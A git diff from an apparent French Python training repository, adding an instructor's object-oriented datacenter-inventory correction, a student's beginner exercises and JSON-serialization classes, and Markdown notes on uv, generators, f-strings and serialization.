"sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] diff --git a/Semaine_04/Gauvain_BOICHE/Evaluation_Python_1.pdf b/Semaine_04/Gauvain_BOICHE/Evaluation_Python_1.pdf new file mode 100644 index 0000000..dba008e Binary files /dev/null and b/Semaine_04/Gauvain_BOICHE/Evaluation_Python_1.pdf differ diff --git a/Semaine_04/Gauvain_BOICHE/Gauvain_BOICHE.zip b/Semaine_04/Gauvain_BOICHE/Gauvain_BOICHE.zip new file mode 100644 index 0000000..0fe8d2c Binary files /dev/null and b/Semaine_04/Gauvain_BOICHE/Gauvain_BOICHE.zip differ diff --git a/Semaine_04/Gauvain_BOICHE/_corrections/poo.py b/Semaine_04/Gauvain_BOICHE/_corrections/poo.py new file mode 100644 index 0000000..5ec744c --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/_corrections/poo.py @@ -0,0 +1,533 @@ +from datetime import date +from typing import Iterator, Callable + + +class Service: + """ + Un service deploye. + """ + + __slots__ = ('_nom', '_port', '_protocole', '_critique') + + def __init__(self, nom: str, port: int, protocole: str, *, critique: bool = False): + self._nom = nom + self._port = port + self._protocole = protocole + self._critique = critique + + def est_critique(self) -> bool: + """Ce service est-il critique pour le SI?""" + return self._critique + + def ecoute_sur(self, port: int) -> bool: + """Ce service ecoute-t-il sur ce port?""" + return self._port == port + + def utilise_protocole(self, protocole: str) -> bool: + """Ce service utilise-t-il ce protocole?""" + return self._protocole.lower() == protocole.lower() + + def __eq__(self, autre: object) -> bool: + if not isinstance(autre, Service): + return NotImplemented + return self._nom == autre._nom and self._port == autre._port + + def __repr__(self) -> str: + return f"Service({self._nom!r}, {self._port}, {self._protocole!r}, critique={self._critique})" + + +class Services: + """ + Une collection de services. Encapsule la logique de gestion. + Cet objet sait filtrer, compter, itérer sur ses services. + """ + + __slots__ = ('_services',) + + def __init__(self, *services: Service): + self._services: tuple[Service, ...] = services + + def avec(self, service: Service) -> 'Services': + """Retourne une nouvelle collection incluant ce service.""" + if service in self._services: + return self + return Services(*self._services, service) + + def sans(self, service: Service) -> 'Services': + """Retourne une nouvelle collection sans ce service.""" + return Services(*(s for s in self._services if s != service)) + + def critiques(self) -> 'Services': + """Retourne uniquement les services critiques.""" + return Services(*(s for s in self._services if s.est_critique())) + + def sur_port(self, port: int) -> 'Services': + """Retourne les services écoutant sur ce port.""" + return Services(*(s for s in self._services if s.ecoute_sur(port))) + + def contient(self, service: Service) -> bool: + """Cette collection contient-elle ce service?""" + return service in self._services + + def est_vide(self) -> bool: + """Cette collection est-elle vide?""" + return len(self._services) == 0 + + def __len__(self) -> int: + return len(self._services) + + def __iter__(self) -> Iterator[Service]: + return iter(self._services) + + def __contains__(self, service: Service) -> bool: + return service in self._services + + def __repr__(self) -> str: + return f"Services({', '.join(repr(s) for s in self._services)})" + + +class Serveur: + """ + Un serveur hebergeant des services. + """ + + def __init__(self, nom: str, ip: str, os: str, mise_en_service: date): + self._nom = nom + self._ip = ip + self._os = os + self._mise_en_service = mise_en_service + self._services = Services() + + def heberge(self, service: Service) -> None: + """Ajoute un service a ce serveur.""" + self._services = self._services.avec(service) + + def retire(self, service: Service) -> None: + """Retire un service de ce serveur.""" + self._services = self._services.sans(service) + + def services_critiques(self) -> Services: + """Retourne les services critiques heberges.""" + return self._services.critiques() + + def nombre_services(self) -> int: + """Combien de services ce serveur heberge-t-il?""" + return len(self._services) + + def repond_au_nom(self, nom: str) -> bool: + """Ce serveur repond-il a ce nom?""" + return self._nom == nom + + def a_pour_ip(self, ip: str) -> bool: + """Ce serveur a-t-il cette IP?""" + return self._ip == ip + + def fonctionne_sous(self, os: str) -> bool: + """Ce serveur fonctionne-t-il sous cet OS?""" + return self._os.lower() == os.lower() + + def en_service_depuis(self, depuis: date) -> bool: + """Ce serveur est-il en service depuis au moins cette date?""" + return self._mise_en_service <= depuis + + def fiche(self) -> str: + """Retourne une fiche descriptive complete du serveur.""" + lignes = [ + f"Serveur: {self._nom}", + f" IP: {self._ip}", + f" OS: {self._os}", + f" En service depuis: {self._mise_en_service}", + f" Services ({len(self._services)}):", + ] + for service in self._services: + lignes.append(f" - {service}") + return "\n".join(lignes) + + def __eq__(self, autre: object) -> bool: + if not isinstance(autre, Serveur): + return NotImplemented + return self._nom == autre._nom and self._ip == autre._ip + + def __len__(self) -> int: + """Nombre de services heberges.""" + return len(self._services) + + def __repr__(self) -> str: + return f"Serveur({self._nom!r}, {self._ip!r}, {self._os!r}, {self._mise_en_service!r})" + + +class ServeurPhysique(Serveur): + """ + Un serveur physique dans un rack. + """ + + def __init__( + self, + nom: str, + ip: str, + os: str, + mise_en_service: date, + *, + rack: str, + consommation_kw: float, + sous_garantie: bool = True + ): + super().__init__(nom, ip, os, mise_en_service) + self._rack = rack + self._consommation_kw = consommation_kw + self._sous_garantie = sous_garantie + + def est_sous_garantie(self) -> bool: + """Ce serveur est-il encore sous garantie?""" + return self._sous_garantie + + def consomme_plus_que(self, seuil_kw: float) -> bool: + """Ce serveur consomme-t-il plus que le seuil?""" + return self._consommation_kw > seuil_kw + + def dans_rack(self, rack: str) -> bool: + """Ce serveur est-il dans ce rack?""" + return self._rack == rack + + def fiche(self) -> str: + """Retourne une fiche descriptive complete du serveur.""" + base = super().fiche() + garantie = "Oui" if self._sous_garantie else "Non" + return "\n".join([ + base, + f" Rack: {self._rack}", + f" Consommation: {self._consommation_kw} kW", + f" Sous garantie: {garantie}", + ]) + + def __repr__(self) -> str: + return f"ServeurPhysique({self._nom!r}, rack={self._rack!r})" + + +class ServeurVirtuel(Serveur): + """ + Un serveur virtuel (VM). + """ + + def __init__( + self, + nom: str, + ip: str, + os: str, + mise_en_service: date, + *, + hyperviseur: str, + allocation: str + ): + super().__init__(nom, ip, os, mise_en_service) + self._hyperviseur = hyperviseur + self._allocation = allocation + + def tourne_sur_hyperviseur(self, hyperviseur: str) -> bool: + """Cette VM tourne-t-elle sur cet hyperviseur?""" + return self._hyperviseur.lower() == hyperviseur.lower() + + def fiche(self) -> str: + """Retourne une fiche descriptive complete du serveur.""" + base = super().fiche() + return "\n".join([ + base, + f" Hyperviseur: {self._hyperviseur}", + f" Allocation: {self._allocation}", + ]) + + def __repr__(self) -> str: + return f"ServeurVirtuel({self._nom!r}, hyperviseur={self._hyperviseur!r})" + + +class Technicien: + """ + Un technicien. + """ + + __slots__ = ('_identifiant', '_nom', '_specialite') + + def __init__(self, identifiant: str, nom: str, specialite: str): + self._identifiant = identifiant + self._nom = nom + self._specialite = specialite + + def est_specialise_en(self, domaine: str) -> bool: + """Ce technicien est-il specialise dans ce domaine?""" + return self._specialite.lower() == domaine.lower() + + def __eq__(self, autre: object) -> bool: + if not isinstance(autre, Technicien): + return NotImplemented + return self._identifiant == autre._identifiant + + def __repr__(self) -> str: + return f"Technicien({self._identifiant!r}, {self._nom!r}, {self._specialite!r})" + + +class Maintenance: + """ + Une intervention de maintenance sur un serveur. + """ + + __slots__ = ('_identifiant', '_date', '_type', '_serveur', '_technicien') + + PREVENTIVE = "preventive" + CORRECTIVE = "corrective" + + def __init__( + self, + identifiant: str, + date_intervention: date, + type_maintenance: str, + serveur: Serveur, + technicien: Technicien + ): + if type_maintenance not in (self.PREVENTIVE, self.CORRECTIVE): + raise ValueError(f"Type de maintenance invalide: {type_maintenance}") + self._identifiant = identifiant + self._date = date_intervention + self._type = type_maintenance + self._serveur = serveur + self._technicien = technicien + + def concerne_serveur(self, serveur: Serveur) -> bool: + """Cette maintenance concerne-t-elle ce serveur?""" + return self._serveur == serveur + + def effectuee_par(self, technicien: Technicien) -> bool: + """Cette maintenance a-t-elle ete effectuee par ce technicien?""" + return self._technicien == technicien + + def est_preventive(self) -> bool: + """Est-ce une maintenance preventive?""" + return self._type == self.PREVENTIVE + + def est_corrective(self) -> bool: + """Est-ce une maintenance corrective?""" + return self._type == self.CORRECTIVE + + def a_eu_lieu_apres(self, depuis: date) -> bool: + """Cette maintenance a-t-elle eu lieu après cette date?""" + return self._date >= depuis + + def rapport(self) -> str: + """Retourne un rapport formater de la maintenance.""" + sep = "=" * 50 + return "\n".join([ + sep, + f"MAINTENANCE {self._identifiant}", + sep, + f"Date: {self._date}", + f"Type: {self._type.upper()}", + f"Serveur: {self._serveur}", + f"Technicien: {self._technicien}", + sep, + ]) + + def __eq__(self, autre: object) -> bool: + if not isinstance(autre, Maintenance): + return NotImplemented + return self._identifiant == autre._identifiant + + def __repr__(self) -> str: + return f"Maintenance({self._identifiant!r}, {self._date!r}, {self._type!r})" + + +class Datacenter: + """ + Un datacenter regroupant des serveurs. + """ + + def __init__(self, nom: str, localisation: str): + self._nom = nom + self._localisation = localisation + self._serveurs: list[Serveur] = [] + self._maintenances: list[Maintenance] = [] + + def accueille(self, serveur: Serveur) -> None: + """Accueille un nouveau serveur dans le datacenter.""" + if serveur not in self._serveurs: + self._serveurs.append(serveur) + + def retire_serveur(self, serveur: Serveur) -> None: + """Retire un serveur du datacenter.""" + if serveur in self._serveurs: + self._serveurs.remove(serveur) + + def enregistre(self, maintenance: Maintenance) -> None: + """Enregistre une maintenance effectuee.""" + self._maintenances.append(maintenance) + + def services_critiques(self) -> Services: + """Tous les services critiques heberges dans ce datacenter.""" + critiques = [] + for serveur in self._serveurs: + for service in serveur.services_critiques(): + critiques.append(service) + return Services(*critiques) + + def total_services(self) -> int: + """Nombre total de services heberges.""" + return sum(serveur.nombre_services() for serveur in self._serveurs) + + def serveurs_maintenus_par(self, technicien: Technicien) -> list[Serveur]: + """Liste des serveurs ayant ete maintenus par ce technicien.""" + serveurs_trouves = [] + for maintenance in self._maintenances: + if maintenance.effectuee_par(technicien): + for serveur in self._serveurs: + if maintenance.concerne_serveur(serveur) and serveur not in serveurs_trouves: + serveurs_trouves.append(serveur) + return serveurs_trouves + + def pour_chaque_serveur(self, action: Callable[[Serveur], None]) -> None: + """Applique une action a chaque serveur""" + for serveur in self._serveurs: + action(serveur) + + def pour_chaque_serveur_physique(self, action: Callable[[ServeurPhysique], None]) -> None: + """Applique une action a chaque serveur physique.""" + for serveur in self._serveurs: + if isinstance(serveur, ServeurPhysique): + action(serveur) + + def inventaire(self) -> str: + """Retourne l'inventaire complet du datacenter.""" + sep = "#" * 60 + lignes = [ + "", + sep, + f"DATACENTER: {self._nom}", + f"Localisation: {self._localisation}", + sep, + "", + f"Nombre de serveurs: {len(self._serveurs)}", + f"Total services: {self.total_services()}", + f"Services critiques: {len(self.services_critiques())}", + "", + ] + for serveur in self._serveurs: + lignes.append(serveur.fiche()) + lignes.append("") + return "\n".join(lignes) + + def __len__(self) -> int: + """Nombre de serveurs dans le datacenter.""" + return len(self._serveurs) + + def __contains__(self, serveur: Serveur) -> bool: + """Ce serveur est-il dans le datacenter?""" + return serveur in self._serveurs + + def __repr__(self) -> str: + return f"Datacenter({self._nom!r}, {self._localisation!r})" + + +if __name__ == "__main__": + # Creation de services + nginx = Service("nginx", 80, "HTTP", critique=True) + api = Service("api-backend", 8080, "HTTP", critique=True) + ssh = Service("sshd", 22, "TCP") + postgres = Service("postgresql", 5432, "TCP", critique=True) + redis = Service("redis", 6379, "TCP") + + # Creation de serveurs + srv_web = ServeurPhysique( + "srv-web-01", + "192.168.1.10", + "Debian 12", + date(2023, 6, 15), + rack="R01-U12", + consommation_kw=0.8, + sous_garantie=True + ) + srv_web.heberge(nginx) + srv_web.heberge(ssh) + + srv_api = ServeurVirtuel( + "srv-api-01", + "192.168.1.20", + "Ubuntu 22.04", + date(2024, 1, 10), + hyperviseur="Proxmox", + allocation="4 vCPU / 8 Go RAM" + ) + srv_api.heberge(api) + srv_api.heberge(redis) + + srv_db = ServeurPhysique( + "srv-db-01", + "192.168.1.30", + "Rocky Linux 9", + date(2022, 3, 1), + rack="R02-U08", + consommation_kw=1.2, + sous_garantie=False + ) + srv_db.heberge(postgres) + srv_db.heberge(ssh) + + # Creation du datacenter + dc_paris = Datacenter("DC-Paris-01", "Paris, France") + dc_paris.accueille(srv_web) + dc_paris.accueille(srv_api) + dc_paris.accueille(srv_db) + + # Creation de techniciens + alice = Technicien("T001", "Alice Martin", "Linux") + bob = Technicien("T002", "Bob Dupont", "Virtualisation") + + # Creation de maintenances + maint_1 = Maintenance( + "M2024-001", + date(2024, 11, 15), + Maintenance.PREVENTIVE, + srv_web, + alice + ) + + maint_2 = Maintenance( + "M2024-002", + date(2024, 12, 3), + Maintenance.CORRECTIVE, + srv_db, + alice + ) + + maint_3 = Maintenance( + "M2025-001", + date(2025, 1, 8), + Maintenance.PREVENTIVE, + srv_api, + bob + ) + + dc_paris.enregistre(maint_1) + dc_paris.enregistre(maint_2) + dc_paris.enregistre(maint_3) + + # Inventaire complet + print(dc_paris.inventaire()) + + # Services critiques + print("--- SERVICES CRITIQUES ---") + print(dc_paris.services_critiques()) + + # Serveurs maintenus par Alice + print("\n--- SERVEURS MAINTENUS PAR ALICE ---") + for srv in dc_paris.serveurs_maintenus_par(alice): + print(f" - {srv}") + + # Rapport de maintenance + print("\n--- RAPPORT MAINTENANCE ---") + print(maint_1.rapport()) + + print("\n--- SERVEURS HORS GARANTIE ---") + dc_paris.pour_chaque_serveur_physique( + lambda s: print(f" ! {s}") if not s.est_sous_garantie() else None + ) + + print("\n--- TEST ÉGALITÉ ---") + nginx_copie = Service("nginx", 80, "HTTPS") # Meme nom/port, protocole different + print(f"nginx == nginx_copie: {nginx == nginx_copie}") # True (egalite sur nom+port) diff --git a/Semaine_04/Gauvain_BOICHE/exo_01.py b/Semaine_04/Gauvain_BOICHE/exo_01.py new file mode 100644 index 0000000..e463dac --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/exo_01.py @@ -0,0 +1,28 @@ +def persistance(num: int): + """ + A partir d'un entier positif, renvoie la persistance multiplicative, + à savoir le nombre de fois qu'on peut multiplier les chiffres de l'entier + entre eux jusqu'à un résultat d'un seul chiffre. + + Exemples : + 4 -> 0 + 39 -> 3 (3*9=27, 2*7=14, 1*4=4) + """ + if num < 0: + return "Merci d'utiliser un entier positif." + + steps = 0 + start = num + + while len(str(num)) > 1: + base = 1 + + for n in str(num): + base *= int(n) + + steps += 1 + num = base + + if steps == 0: + return f"Partant de {start}, pas besoin de multiplication." + return f"Partant de {start}, la persistance multiplicative est de {steps} étapes." diff --git a/Semaine_04/Gauvain_BOICHE/exo_02.py b/Semaine_04/Gauvain_BOICHE/exo_02.py new file mode 100644 index 0000000..bd49241 --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/exo_02.py @@ -0,0 +1,22 @@ +def numeral_square(num: int): + """ + A partir d'un entier positif, renvoie la racine numérique, + à savoir la somme récursive de tous les chiffres d'un nombre. + + Exemples : + 16 -> 1+6=7 + 1567 -> 1+5+6+7=19, 1+9=10, 1+0=1 + """ + if num < 0: + return "Merci d'utiliser un entier positif." + start = num + + while len(str(num)) > 1: + base = 0 + + for n in str(num): + base += int(n) + + num = base + + return f"La racine numérique de {start} donne {base}." diff --git a/Semaine_04/Gauvain_BOICHE/exo_03.py b/Semaine_04/Gauvain_BOICHE/exo_03.py new file mode 100644 index 0000000..6f1a2ac --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/exo_03.py @@ -0,0 +1,18 @@ +def gen_pyramid(num: int) -> list[str]: + """ + A partir d'un entier, renvoie sous forme de tableau une + pyramide composée d'autant d'étages avec le caractère * + """ + if num == 0: + return ["Merci d'utiliser un entier non nul."] + if num < 0: + num = +abs(num) + + pyramid = [] + + for n in range(num): + white_spaces = ' ' * (num - n - 1) + bloc_spaces = '*' * (2 * n + 1) + pyramid.append(f"{white_spaces}{bloc_spaces}{white_spaces}") + + return pyramid diff --git a/Semaine_04/Gauvain_BOICHE/main.py b/Semaine_04/Gauvain_BOICHE/main.py new file mode 100644 index 0000000..e6290ad --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/main.py @@ -0,0 +1,45 @@ +from datetime import date, time, datetime, timedelta +from pprint import pprint + +from exo_01 import persistance +from exo_02 import numeral_square +from exo_03 import gen_pyramid +from prog_or_obj import Service,\ + ServeurPhysique,\ + ServeurVirtuel,\ + Technicien,\ + Maintenance,\ + Datacenter + +# Exercice 1 +print("\n----- Exercice [1] -----\n") +exo_1_test_list = [-7, 4, 39, 999] +for test in exo_1_test_list: + print(persistance(test)) + +# Exercice 2 +print("\n----- Exercice [2] -----\n") +exo_2_test_list = [-7, 16, 942, 132189, 493193] +for test in exo_2_test_list: + print(numeral_square(test)) + +# Exercice 3 +print("\n----- Exercice [3] -----\n") +exo_3_test_list = [-7, 0, 6, 12] +for test in exo_3_test_list: + pprint(gen_pyramid(test), width= 30) + +# Exercice de Programmation Orientée Objet - Centre de données + +today = date.today() +two_days_ago = date.today() - timedelta(days= 2) +five_days_ago = date.today() - timedelta(days= 5) + +service_01 = Service("HTTP", 80, "TCP", True) +service_02 = Service("HTTPS", "443", "TCP", True) +service_03 = Service("PostGresql", 5432, "TCP", False) +service_04 = Service("Counter-Strike LAN", 36729, "UDP", False) + +server_physical_01 = ServeurPhysique("Thorium", "10.10.19.94", "Debian 13", today, "HP version 4.2", 45, True) +server_physical_02 = ServeurPhysique("Iridium", "10.10.18.94", "Arch Linux 4", two_days_ago, "HP version 4.2", 37, True) +server_physical_03 = ServeurPhysique("Polonium", "10.10.17.94", "Apple Server mdr", five_days_ago, "HP version 3.3", 445, False) \ No newline at end of file diff --git a/Semaine_04/Gauvain_BOICHE/prog_or_obj.py b/Semaine_04/Gauvain_BOICHE/prog_or_obj.py new file mode 100644 index 0000000..c993da6 --- /dev/null +++ b/Semaine_04/Gauvain_BOICHE/prog_or_obj.py @@ -0,0 +1,255 @@ +from datetime import date +import json + +class Service: + """ + Application déployée sur un serveur. + """ + def __init__(self, name: str, port: str | int, protocol: str, is_critical: bool): + self.name = name + self.port = int(port) + self.protocol = protocol + self.is_critical = is_critical + + def __eq__(self, other: "Service"): + return self.name == other.name and self.port == other.port + + def serialized_services(self): + """Converti la classe \"Services\" en dictionnaire JSONable""" + return { + "Name": self.name, + "Port": self.port, + "Protocol": self.protocol, + "Is_Critical": self.is_critical, + } + + @classmethod + def deserialized_services(cls, dictionnary): + """Lis un JSON pour le retranscrire en classe \"Services\"""" + return cls( + name= dictionnary["Name"], + port= dictionnary["Port"], + protocol= dictionnary["Protocol"], + is_critical= dictionnary["Is_Critical"], + ) + +class Serveur: + """ + Serveur, classe maîtresse. NE PAS UTILISER DIRECTEMENT. + Préférez les classes héritées : + - ServeurPhysique + - ServeurVirtuel + """ + def __init__(self, name: str, ip_address: str, os_name: str, commission_date: date): + self.name = name + self.ip_address = ip_address + self.os_name = os_name + self.commission_date = commission_date + self.services = self.load_services() + + def __str__(self) -> str: + return f"\ + [Serveur] > {self.name}\n\ + [Addresse IP] > {self.ip_address}\n\ + [Système d'Exploitation] > {self.os_name}\n\ + [Date de mise en prod] > {self.commission_date}" + + def __len__(self) -> int: + return len(self.services) + + def list_services(self): + return self.services + + def add_service(self, service: Service): + """Ajout d'un service à la liste des services disponibles""" + if service in self.services: + return f"Le service [{service.name.capitalize()}] est déjà présent." + self.services.append(service) + self.save_services() + return f"{service.name.capitalize()} a été ajouté." + + def remove_service(self, service_str: str): + """Retire un service de la liste des services disponibles""" + for service in self.services: + if service.name.lower() == service_str.lower()\ + or str(service.port) == service_str.lower()\ + or service.protocol.lower() == service_str.lower(): + self.services.remove(service) + self.save_services() + return f"{service.name.capitalize} a été retiré." + return f"{service.name.capitalize()} n'est pas dans la liste." + + def serialized_servers(self): + """Converti la classe \"Services\" en dictionnaire JSONable""" + return { + "Name": self.name, + "IP_Address": self.ip_address, + "OS_Name": self.os_name, + "Commission_Date": self.commission_date, + } + + @classmethod + def deserialized_servers(cls, dictionnary): + """Lis un JSON pour le retranscrire en classe \"Services\"""" + return cls( + name= dictionnary["Name"], + ip_address= dictionnary["IP_Address"], + os_name= dictionnary["OS_Name"], + commission_date= dictionnary["Commission_Date"], + ) + + def save_services(self): + """ + Inscris dans un fichier JSON le contenu des services disponibles + """ + services_dict = [services.serialized_services() for services in self.services] + with open("services.json", "w", encoding= "utf-8") as json_file: + json.dump(services_dict, json_file, indent= 4) + + def load_services(self) -> list[Service]: + """ + Récupère le contenu d'un fichier JSON contenant les services + """ + with open("services.json", encoding= "utf-8") as json_file: + return json.load(json_file, object_hook= Service.deserialized_services) + +class ServeurPhysique(Serveur): + def __init__(self, name: str, ip_address: str, os_name: str, commission_date: date, rack: str, electric_cons: int, warranty: bool): + super().__init__(name, ip_address, os_name, commission_date) + self.rack = rack + self.electric_cons = electric_cons + warranty_bools = ("Non", "Oui") + self.warranty = warranty_bools[warranty] + + def __str__(self) -> str: + return f"\ + {super().__str__()}\n\ + [Châssis] > {self.rack}\n\ + [Consommation en kWh] > {self.electric_cons}\n\ + [Sous garantie] > {self.warranty}" + + def __len__(self) -> int: + return super().__len__() + +class ServeurVirtuel(Serveur): + def __init__(self, name: str, ip_address: str, os_name: str, commission_date: date, hypervisor: str, vcpus: int, giga_ram: float): + super().__init__(name, ip_address, os_name, commission_date) + self.hypervisor = hypervisor + self.vcpus = vcpus + self.giga_ram = giga_ram + + def __str__(self) -> str: + return f"\ + {super().__str__()}\n\ + [Hyperviseur] > {self.hypervisor}\n\ + [Coeurs virtuels] > {self.vcpus}\n\ + [Mémoire vive (Go)] > {self.giga_ram}" + + def __len__(self) -> int: + return super().__len__() + +class Maintenance: + def __init__(self, id: int, commission_date: date, type: str, affected_technician: "Technicien", associated_server: "ServeurPhysique | ServeurVirtuel"): + self.id = id + self.commission_date = commission_date + self.type = type + self.affected_technician = affected_technician + self.associated_server = associated_server + + def __str__(self) -> str: + return f"\ + [ID] > {self.id}\n\ + [Serveur associé] > {self.associated_server}\n\ + [Date de mise en prod] > {self.commission_date}\n\ + [Type de maintenance] > {self.type}\n\ + [Technicien affecté] > {self.affected_technician}" + + # J'ai le sentiment que ce n'est PAS ce qui est demandé. Mais il est 16h25 et je n'ai plus d'idée sur comment le faire + def link_to_server(self, server: ServeurPhysique | ServeurVirtuel): + return f"La maintenance est liée au serveur {server.name.upper()}, addresse IP {server.ip_address}." + + def serialized_maintenances(self): + """Converti la classe \"Maintenance\" en dictionnaire JSONable""" + return { + "ID": self.id, + "Associated_Server": self.associated_server, + "Commission_Date": self.commission_date, + "Type": self.type, + "Affected_Technician": self.affected_technician, + } + + @classmethod + def deserialized_maintenances(cls, dictionnary): + """Lis un JSON pour le retranscrire en classe \"Maintenance\"""" + return cls( + id= dictionnary["ID"], + associated_server= dictionnary["Associated_Server"], + commission_date= dictionnary["Commission_Date"], + type= dictionnary["Type"], + affected_technician= dictionnary["Affected_Technician"], + ) + +class Technicien: + def __init__(self, fullname: str, speciality: str, id: int): + self.name = fullname + self.speciality = speciality + self.id = id + self.maintenances = self.load_maintenances() + + def list_affected_jobs(self): + return self.maintenances + + def affect_maintenance(self): + pass + + def save_maintenances(self): + """ + Inscris dans un fichier JSON le contenu des maintenances disponibles + """ + maintenances_dict = [maintenances.serialized_maintenances() for maintenances in self.maintenances] + with open("maintenances.json", "w", encoding= "utf-8") as json_file: + json.dump(maintenances_dict, json_file, indent= 4) + + def load_maintenances(self) -> list[Maintenance]: + """ + Récupère le contenu d'un fichier JSON contenant les maintenances + """ + with open("maintenances.json", encoding= "utf-8") as json_file: + return json.load(json_file, object_hook= Maintenance.deserialized_maintenances) + +class Datacenter: + def __init__(self, name: str, location: str, id: int): + self.name = name + self.location = location + self.id = id + self.servers = self.load_servers() + + def list_servers(self): + return self.servers + + def list_critical_services(self): + for server in self.servers: + server.list_services() + # Là j'ai cherché à récupérer un genre de 'if server.list_services().is_critical' + # pour avoir le "True/False" et renvoyer le résultat en cas de "True" mais j'ai craqué + + def list_services_number(self): + services = 0 + for server in self.servers: + services += len(server) + return services + + def save_servers(self): + """ + Inscris dans un fichier JSON le contenu des serveurs disponibles + """ + servers_dict = [servers.serialized_servers() for servers in self.servers] + with open("servers.json", "w", encoding= "utf-8") as json_file: + json.dump(servers_dict, json_file, indent= 4) + + def load_servers(self) -> list[Serveur]: + """ + Récupère le contenu d'un fichier JSON contenant les serveurs + """ + with open("servers.json", encoding= "utf-8") as json_file: + return json.load(json_file, object_hook= Serveur.deserialized_servers) \ No newline at end of file diff --git a/Semaine_04/Jour_01.md b/Semaine_04/Jour_01.md new file mode 100644 index 0000000..71c80dd --- /dev/null +++ b/Semaine_04/Jour_01.md @@ -0,0 +1,66 @@ +# Les bases de Python + +## UV (NPM de Python) + +*Je suis sur Windows, les commandes divergent sur UNIX(like) + +Pour installer UV, remplaçant PIP et consorts (évidemment codé en RUST) : + +https://docs.astral.sh/uv/#projects + +Dans le dossier de travail : + +`uv init --python 3.12` + +Et dans le dossier initialisé : + +```sh +.venv\Scripts\activate +uv run main.py + +# On peut aussi activer le .venv en l'initialisation plus avant en intervertissant les commandes, donc : + +uv run main.py +.venv\Scripts\activate +``` + +## Quelques bases oubliées + +### Fonctions + +Une fonction appelle un résultat. + +```py +fonction(variable) +``` + +Définir une fonction : + +```py +def fonction(): + return true +``` + +On peut forcer le type des variables d'une fonction : + +```py +def fonction(a: int, b: int): + somme = a + b + return somme +``` + +Et même une valeur par défaut + +```py +def fonction(a: int, b: int = 5): + somme = a + b + return somme +``` + +### Méthodes + +Une méthode suit une variable. + +```py +variable.methode("Valeur") +``` \ No newline at end of file diff --git a/Semaine_04/Jour_02.md b/Semaine_04/Jour_02.md new file mode 100644 index 0000000..a585bea --- /dev/null +++ b/Semaine_04/Jour_02.md @@ -0,0 +1,136 @@ +## Fonctions LAMBDA + + + +## Méthodes et fonctions avancées + +### Données déstructurées + +dc_infos = ("Dale", "Cooper", "32") +dc_prenom = dc_infos[0] +dc_nom = dc_infos[1] +dc_age = dc_infos[2] + +dc_prenom, dc_nom, dc_age = dc_infos + +### Surcharge de méthode + +```py +range(10) # [0,1,2,3,4,5,6,7,8,9] +range(2, 10) # [2,3,4,5,6,7,8,9] +range(2, 10, 2) # [2,4,6,8] +``` + +### A la place de `return` => `yield` + +```py +def generator(): + for i in range(10): + return i +``` + +Renverra [0], `return` étant un arrêt. + +Alors que : + +```py +def generator(): + for i in range(10): + yield i +``` + +Va renvoyer : `` + +### Générateurs + +La fonction `next` permet d'économiser des ressources en mettant en mémoire la fonction et sa position. Par exemple : + +```py +def square_generator(n): + for i in range(n): + yield i ** 2 +``` + +Renverra ``. Maintenant, on utilise : + +```py +squares = square_generator(10) + +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +print(next(squares)) +``` + +Renverra : + +``` +0 +1 +4 +9 +16 +25 +36 +49 +``` + +### Return, Yield et Continue + +```py +for square in generator: + if square > 50: # Si le carré est supérieur à 50, la boucle cesse + break + if square % 2 == 0: # Si le carré est pair, on le zappe + continue + print(square) +``` + +## Format String + +Le classique : + +```py +print("La lettre " + variable_str + " apparaît " + variable_int + " fois.") +``` + +Se remplace bien par : + +```py +print(f"La lettre {variable_str} apparaît {variable_int} fois.") +``` + +Le `%s` c'est un peu démodé face au f-string, franchement. + +## Listes de compréhension + +Pour peupler une liste avec des formules, on peut faire du standard : + +```py +liste = [] + +for i in range(5) + liste.append(i) + +print(liste) # [0, 1, 2, 3, 4] +``` + +Ou, une liste compréhensive, contenant l'algo de base amenant le résultat : + +```py +liste = [i for i in range(5)] + +print(liste) # [0, 1, 2, 3, 4] +``` + +Et même inclure des conditions : + +```py +liste = [i for i in range(5) if i % 2 == 0] + +print(liste) # [0, 2, 4] +``` \ No newline at end of file diff --git a/Semaine_04/Jour_03.md b/Semaine_04/Jour_03.md new file mode 100644 index 0000000..ae0607c --- /dev/null +++ b/Semaine_04/Jour_03.md @@ -0,0 +1,61 @@ +## Sérialisation, Dé-sérialisation + +Sérialisation => On prend des objets, on transforme en JSON +Dé-sérialisation => On prend un JSON, on transforme en objets + +### Exemple de sérialisation + +On prend une liste classique + +```py +livres = [{"titre": "1984", "auteur": "Orwell"}, {"titre": "LSDA", "auteur": "Tolkien"}] +``` + +On peut donc traiter un fichier JSON avec la fonction `open` et le sérialiser avec `dump` : + +```py +import json + +livres = [{"titre": "1984", "auteur": "Orwell"}, {"titre": "LSDA", "auteur": "Tolkien"}] + +# file=/path/ , w-rite +fichier_json = open("livres.json", "w") +json.dump(livres, fichier_json) +fichier_json.close() +``` + +Ou, avec un `Context-Manager` au lieu d'ouvrir et de fermer : + +```py +import json + +livres = [{"titre": "1984", "auteur": "Orwell"}, {"titre": "LSDA", "auteur": "Tolkien"}] + +with open("livres.json", "w") as fichier_json: + json.dump(livres, fichier_json, indent= 4) +``` + +### Exemple de dé-sérialisation + +```py +import json + +livres = [{"titre": "1984", "auteur": "Orwell"}, {"titre": "LSDA", "auteur": "Tolkien"}] + +with open("livres.json", "w") as fichier_json: + objet = json.load(fichier_json) + +print(objet) + 